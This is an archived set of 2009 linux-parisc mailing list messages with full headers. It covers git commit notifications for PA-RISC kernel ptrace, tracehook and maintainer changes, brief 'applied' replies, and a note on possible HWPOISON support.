Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2000>

Rebased ref, commits from common ancestor:
commit 1e0d061b462e48f9b1609a29aed9a5abcf65833e
Merge: 582b0141b3c3b40c4757dccb4d4543ff391c1e45 7209a334ff1154987aa3a74f1bb595d44bb0b9b2
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Tue Aug 4 20:40:08 2009 -0400

    Merge branch 'ptrace' into next

commit 582b0141b3c3b40c4757dccb4d4543ff391c1e45
Author: James Bottomley <James.Bottomley@HansenPartnership.com>
Date:   Tue Aug 4 23:59:55 2009 +0000

    parisc: add me to Maintainers
    
    It has been suggested that given my proficiency with less popular
    architectures, I should be officially listed as willing to see to the
    care and feeding of this one.
    
    Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

commit 157eac058fb0b6c6b9d973428221666fa9be87c9
Author: Julia Lawall <julia@diku.dk>
Date:   Tue Aug 4 22:27:07 2009 +0200

    parisc: arch/parisc: correct use of SHF_ALLOC
    
    SHF_ALLOC is suitable for testing against the sh_flags field, not the
    sh_type field.
    
    Signed-off-by: Julia Lawall <julia@diku.dk>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 7209a334ff1154987aa3a74f1bb595d44bb0b9b2
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jul 7 15:06:49 2009 -0400

    parisc: only allow access to USER_PSW_BITS in setregs
    
    We don't want to let users fribble bits they don't need to in their
    PSW... only let them set USER_PSW_BITS from setregs functions.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 8d447ae97881a99da68e09f27356958e99d17da8
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jul 7 13:27:42 2009 -0400

    parisc: unify compat PTRACE_{GET|SET}REGS paths
    
    Just call arch_ptrace for all of them and add some helpers to
    check TIF_32BIT.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 4d889f46750003340055ecac5f9682bef26d0774
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jul 7 02:43:20 2009 -0400

    parisc: ptrace {GET,SET}REGS and compat
    
    Add PTRACE_{GET,SET}REGS and wire them up with proper compat handlers.
    user_regset_struct in <asm-parisc/ptrace.h> is the user-visible regset
    format, and the coredump format.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 50d114781e157f9ff33a03fcbba4ed2507e4c723
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Mon Jul 6 17:28:53 2009 -0400

    parisc: first pass of new-style ptrace for parisc
    
    This is going to be super nasty to gdb if we ever try to wire up
    PTRACE_(GET|SET){,FP}REGS since the format is different between
    coredump and pt_regs.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit feb8fa8122d0e35a9f4be18ce69753fa17d58b79
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 16:01:51 2009 -0400

    parisc: HAVE_ARCH_TRACEHOOK
    
    Let 'er rip.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit b31e3f6e369b337337bca9d99bb6d52ab2296bb6
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 15:59:56 2009 -0400

    parisc: add skeleton syscall.h
    
    Needed for lib/syscall.c when HAVE_ARCH_TRACEHOOK.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit b58a8243c587882ca4d86202b2f2f85cd6ded1d1
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 15:08:57 2009 -0400

    parisc: stop using task->ptrace for {single,block}step flags
    
    task->ptrace flags belong to generic code, so instead thief some
    TIF_ bits to use. Somewhat risky conversion of code to test TASK_FLAGS
    instead of TASK_PTRACE in assembly, but it looks alright in the end.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 6cdb88e40577eed1733efd46b35b447e80f693fc
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 14:36:16 2009 -0400

    parisc: split syscall_trace into two halves
    
    Instead of fiddling with gr[20], restructure code to return whether
    or not to -ENOSYS. (Also do a bit of fiddling to let them take
    pt_regs directly instead of re-computing it.)
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit c43604ce7c05f87f87cefce28aa5e20d4c18133a
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 14:39:58 2009 -0400

    parisc: add missing TI_TASK macro in syscall.S
    
    LDREG 0(%r1),%r1 really wants to be accessing thread_info.task,
    instead of hardcoding the 0.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 9f4259771faf1ffd99888796d925adae4c93630b
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Mon Apr 27 00:51:13 2009 -0400

    parisc: add TIF_NOTIFY_RESUME and use tracehook_notify_resume
    
    Call tracehook_notify_resume() in do_notify_resume.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 8eae5dbb03e8d9e44c6c07712825605ca591c604
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Mon Apr 27 00:29:53 2009 -0400

    parisc: tracehook_signal_handler
    
    This makes parisc call the standard tracehook_signal_handler hook
    in <linux/tracehook.h> after setting up a signal handler.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 2e595d94bf73a6fc9a076bf89e0b10fc9068bf3f
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Apr 26 23:53:34 2009 -0400

    parisc: tracehook_report_syscall
    
    This makes parisc use the standard tracehook_report_syscall_entry
    and tracehook_report_syscall_exit hooks in <linux/tracehook.h>.
    
    To do this, we need to access current->thread.regs, and to know
    whether we're entering or exiting the syscall, so add this to
    syscall_trace.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/fixes
Date: Wed, 5 Aug 2009 00:43:36 GMT
Lines: 30
Approved: news@gmane.org
Message-ID: <200908050043.n750haF1005683@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1249433025 18380 80.91.229.12 (5 Aug 2009 00:43:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 00:43:45 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 02:43:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYUbS-0005KM-TI
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 02:43:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932315AbZHEAng (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Aug 2009 20:43:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754803AbZHEAng
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Aug 2009 20:43:36 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:35131 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754688AbZHEAnf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Aug 2009 20:43:35 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX18SPg4gCwHSnrveSwlkL+BQYyyiQhNnT4k@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n750hant005686
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Wed, 5 Aug 2009 00:43:36 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n750haF1005683
	for linux-parisc@vger.kernel.org; Wed, 5 Aug 2009 00:43:36 GMT
X-Virus-Scanned: ClamAV 0.93.3/9653/Tue Aug  4 18:35:53 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Wed, 05 Aug 2009 00:43:36 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2001
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2001>

New commits:
commit 582b0141b3c3b40c4757dccb4d4543ff391c1e45
Author: James Bottomley <James.Bottomley@HansenPartnership.com>
Date:   Tue Aug 4 23:59:55 2009 +0000

    parisc: add me to Maintainers
    
    It has been suggested that given my proficiency with less popular
    architectures, I should be officially listed as willing to see to the
    care and feeding of this one.
    
    Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

commit 157eac058fb0b6c6b9d973428221666fa9be87c9
Author: Julia Lawall <julia@diku.dk>
Date:   Tue Aug 4 22:27:07 2009 +0200

    parisc: arch/parisc: correct use of SHF_ALLOC
    
    SHF_ALLOC is suitable for testing against the sh_flags field, not the
    sh_type field.
    
    Signed-off-by: Julia Lawall <julia@diku.dk>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/fixes
Date: Wed, 5 Aug 2009 00:45:37 GMT
Lines: 19
Approved: news@gmane.org
Message-ID: <200908050045.n750jbwB006667@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1249433148 18674 80.91.229.12 (5 Aug 2009 00:45:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 00:45:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 02:45:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYUdQ-0005KM-7r
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 02:45:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932315AbZHEApi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Aug 2009 20:45:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754803AbZHEApi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Aug 2009 20:45:38 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:35163 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754688AbZHEAph (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Aug 2009 20:45:37 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+qAj1jFBiJnrNw8CFL8tbKwl/a9Hv2C4U@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n750jcfi006669
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Wed, 5 Aug 2009 00:45:38 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n750jbwB006667
	for linux-parisc@vger.kernel.org; Wed, 5 Aug 2009 00:45:37 GMT
X-Virus-Scanned: ClamAV 0.93.3/9653/Tue Aug  4 18:35:53 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Wed, 05 Aug 2009 00:45:38 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2002
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2002>

Rebased ref, commits from common ancestor:
commit 4b5273681a72dbf5ece64d0ae1e85d54722012fe
Author: James Bottomley <James.Bottomley@HansenPartnership.com>
Date:   Tue Aug 4 23:59:55 2009 +0000

    parisc: add me to Maintainers
    
    It has been suggested that given my proficiency with less popular
    architectures, I should be officially listed as willing to see to the
    care and feeding of this one.
    
    Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add me to Maintainers
Date: Wed, 5 Aug 2009 10:29:35 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <119aab440908050729s7c0c42e7yafb26b70e2c6eea9@mail.gmail.com>
References: <1249430395.3939.49.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249482613 14315 80.91.229.12 (5 Aug 2009 14:30:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 14:30:13 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 16:30:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYhV4-0007fl-QS
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 16:29:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934438AbZHEO3g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 10:29:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934449AbZHEO3g
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 10:29:36 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:47505 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934438AbZHEO3f (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 10:29:35 -0400
Original-Received: by ewy10 with SMTP id 10so17731ewy.37
        for <linux-parisc@vger.kernel.org>; Wed, 05 Aug 2009 07:29:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=bPHBphRAEvmNM1RZVMORIwZpUR+m+b+jl2os/Z8NoxY=;
        b=l+vNjHSkXIvyIe167FKkvZmXPWSCHiHOxD/YyRHVIKgpH5SEBOw5Fwy0gRMmtBBADO
         YHiUoFu4oLD5RUOEoHWGSRTyROcMzlas4GbZSPssJaHGCK47v3f3m3b72AKskdYyDfiX
         NnwYMHBJNuGdDl54iXMAs+v1nL6+mLCRIVX7U=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=vIe9b+ulRh011FhPpOG8Udo/jHA+uXHol7KDgGdDi9hM+v+eArUfxLJJg5HhUOQigo
         Vl+WsApcqywjXIWAlyCJzAVtWmy+na7Qn9md56360wWTs8FEXMIBRCyQrZLDdA0SMohj
         ylLO89izgyjYzf1U+Cwx7VjSNE2Ll7wLmxuEw=
Original-Received: by 10.216.4.80 with SMTP id 58mr1719351wei.173.1249482575678; Wed, 
	05 Aug 2009 07:29:35 -0700 (PDT)
In-Reply-To: <1249430395.3939.49.camel@mulgrave.site>
X-Google-Sender-Auth: 45ff49bfb5d2a038
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2003
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2003>

On Tue, Aug 4, 2009 at 7:59 PM, James
Bottomley<James.Bottomley@hansenpartnership.com> wrote:
> It has been suggested that given my proficiency with less popular
> architectures, I should be officially listed as willing to see to the
> care and feeding of this one.

Thanks James!

Your help with the VM subsystem has been invaluable.

Given a clear test case you certainly do your magic! :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add me to Maintainers
Date: Wed, 5 Aug 2009 10:56:59 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20090805145659.GO28572@bombadil.infradead.org>
References: <1249430395.3939.49.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249484231 20638 80.91.229.12 (5 Aug 2009 14:57:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 14:57:11 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 16:57:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYhvJ-0006XV-Tx
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 16:57:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934565AbZHEO47 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 10:56:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934566AbZHEO47
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 10:56:59 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:38200 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934565AbZHEO46 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 10:56:58 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MYhvH-0001QL-D9; Wed, 05 Aug 2009 14:56:59 +0000
Content-Disposition: inline
In-Reply-To: <1249430395.3939.49.camel@mulgrave.site>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2004
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2004>

On Tue, Aug 04, 2009 at 11:59:55PM +0000, James Bottomley wrote:
> It has been suggested that given my proficiency with less popular
> architectures, I should be officially listed as willing to see to the
> care and feeding of this one.
> 
> Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
>

Thanks. Applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: Re: [PATCH] arch/parisc: correct use of SHF_ALLOC
Date: Wed, 5 Aug 2009 10:57:13 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20090805145713.GP28572@bombadil.infradead.org>
References: <Pine.LNX.4.64.0908042226231.3737@ask.diku.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249484247 20684 80.91.229.12 (5 Aug 2009 14:57:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 14:57:27 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kernel-janitors@vger.kernel.org
To: Julia Lawall <julia@diku.dk>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 16:57:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYhvZ-0006XV-Kv
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 16:57:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934566AbZHEO5P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 10:57:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934577AbZHEO5P
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 10:57:15 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:38208 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934566AbZHEO5O (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 10:57:14 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MYhvV-0001RG-H8; Wed, 05 Aug 2009 14:57:13 +0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.64.0908042226231.3737@ask.diku.dk>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2005 gmane.linux.kernel:873712 gmane.linux.kernel.janitors:17181
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2005>

On Tue, Aug 04, 2009 at 10:27:07PM +0200, Julia Lawall wrote:
> From: Julia Lawall <julia@diku.dk>
> 
> SHF_ALLOC is suitable for testing against the sh_flags field, not the
> sh_type field.
> 
> Signed-off-by: Julia Lawall <julia@diku.dk>
> 

Thanks Julia, applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: [PATCH] [11/19] HWPOISON: Refactor truncate to allow direct
	truncating of page v2
Date: Wed, 5 Aug 2009 09:00:39 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20090805150038.GL3711@parisc-linux.org>
References: <200908051136.682859934@firstfloor.org> <20090805093638.D3754B15D8@basil.firstfloor.org> <20090805102008.GB17190@wotan.suse.de> <20090805134607.GH11385@basil.fritz.box> <20090805140145.GB28563@wotan.suse.de> <20090805141001.GJ11385@basil.fritz.box> <20090805141642.GB23992@wotan.suse.de> <20090805144112.GM11385@basil.fritz.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249484457 21816 80.91.229.12 (5 Aug 2009 15:00:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 15:00:57 +0000 (UTC)
Cc: Nick Piggin <npiggin@suse.de>, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, linux-mm@kvack.org,
	fengguang.wu@intel.com, hidehiro.kawai.ez@hitachi.com,
	linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: Andi Kleen <andi@firstfloor.org>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Aug 05 17:00:49 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYhys-0008TY-FS
	for glka-linux-arch@gmane.org; Wed, 05 Aug 2009 17:00:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933075AbZHEPAk (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 5 Aug 2009 11:00:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934565AbZHEPAk
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 5 Aug 2009 11:00:40 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:49790 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933075AbZHEPAj (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 5 Aug 2009 11:00:39 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 7177A494005; Wed,  5 Aug 2009 09:00:39 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090805144112.GM11385@basil.fritz.box>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4184 gmane.linux.kernel:873714 gmane.linux.kernel.mm:37515 gmane.linux.ports.parisc:2006
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2006>

On Wed, Aug 05, 2009 at 04:41:12PM +0200, Andi Kleen wrote:
> > One question I had for the others (Andrew? other mm guys?) what is the
> > feelings of merging this feature? Leaving aside exact implementation
> > and just considering the high level design and cost/benefit. Last time
> > there were some people objecting, so I wonder the situation now? So
> > does anybody need more convincing? :)
> 
> The main objection last time was that it was a bit too late in the 
> release schedule.
> 
> I can't remember anyone really questioning the basic feature itself.
> 
> > Also I will just cc linux-arch. It would be interesting to know whether
> > powerpc, ia64, or s390 or others would be interested to use this feature?
> 
> ia64 is interested (but no code so far) I talked to DaveM and he seems to be 
> interested for sparc too.  I would expect other server architectures to 
> eventually use it as they get around to writing the necessary architecture 
> specific glue.

parisc could certainly implement this.  Don't know if there's interest.

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."

From - Thu Nov 08 21:04:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
